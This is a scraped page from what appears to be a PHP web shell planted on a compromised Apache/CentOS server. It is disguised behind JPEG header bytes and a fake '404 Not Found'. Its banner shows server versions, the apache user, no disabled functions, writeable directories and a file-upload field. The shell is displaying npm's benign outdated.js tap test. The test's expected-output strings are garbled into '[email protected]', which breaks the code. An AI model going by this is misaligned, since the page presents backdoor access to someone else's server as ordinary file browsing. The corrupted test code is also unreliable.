����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /proc/self/root/home/real/node-v13.0.1/deps/npm/test/tap/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/home/real/node-v13.0.1/deps/npm/test/tap/outdated.js
var fs = require('graceful-fs')
var path = require('path')

var mr = require('npm-registry-mock')
var test = require('tap').test

var npm = require('../../')
var common = require('../common-tap.js')

// config
var pkg = common.pkg
var cache = common.cache
var originalLog

var json = {
  name: 'outdated',
  description: 'fixture',
  version: '0.0.1',
  dependencies: {
    underscore: '1.3.1',
    async: '0.2.9',
    checker: '0.5.1'
  }
}

test('setup', function (t) {
  originalLog = console.log
  fs.writeFileSync(
    path.join(pkg, 'package.json'),
    JSON.stringify(json, null, 2)
  )

  process.chdir(pkg)
  t.end()
})

test('it should not throw', function (t) {
  var output = []
  var expOut = [
    path.resolve(pkg, 'node_modules', 'async') +
      ':[email protected]' +
      ':[email protected]' +
      ':[email protected]' +
      '\n' +
    path.resolve(pkg, 'node_modules', 'checker') +
      ':[email protected]' +
      ':[email protected]' +
      ':[email protected]' +
      '\n' +
    path.resolve(pkg, 'node_modules', 'underscore') +
      ':[email protected]' +
      ':[email protected]' +
      ':[email protected]'
  ]

  var expData = [
    [
      pkg,
      'async',
      '0.2.9',
      '0.2.9',
      '0.2.10',
      '0.2.9',
      null
    ],
    [
      pkg,
      'checker',
      '0.5.1',
      '0.5.1',
      '0.5.2',
      '0.5.1',
      null
    ],
    [
      pkg,
      'underscore',
      '1.3.1',
      '1.3.1',
      '1.5.1',
      '1.3.1',
      null
    ]
  ]

  console.log = function () {}
  mr({ port: common.port }, function (er, s) {
    npm.load(
      {
        cache: cache,
        loglevel: 'silent',
        parseable: true,
        registry: common.registry
      },
      function () {
        npm.install('.', function (err) {
          t.ifError(err, 'install success')
          console.log = function () {
            output.push.apply(output, arguments)
          }
          npm.outdated(function (er, d) {
            t.ifError(err, 'outdated completed without error')
            t.equals(process.exitCode, 1, 'exitCode set to 1')
            process.exitCode = 0
            output = output.map(function (x) { return x.replace(/\r/g, '') })
            console.log = originalLog

            t.same(output, expOut)
            t.same(d, expData)

            s.close()
            t.end()
          })
        })
      }
    )
  })
})

test('cleanup', function (t) {
  console.log = originalLog
  t.end()
})

ZeroDay Forums Mini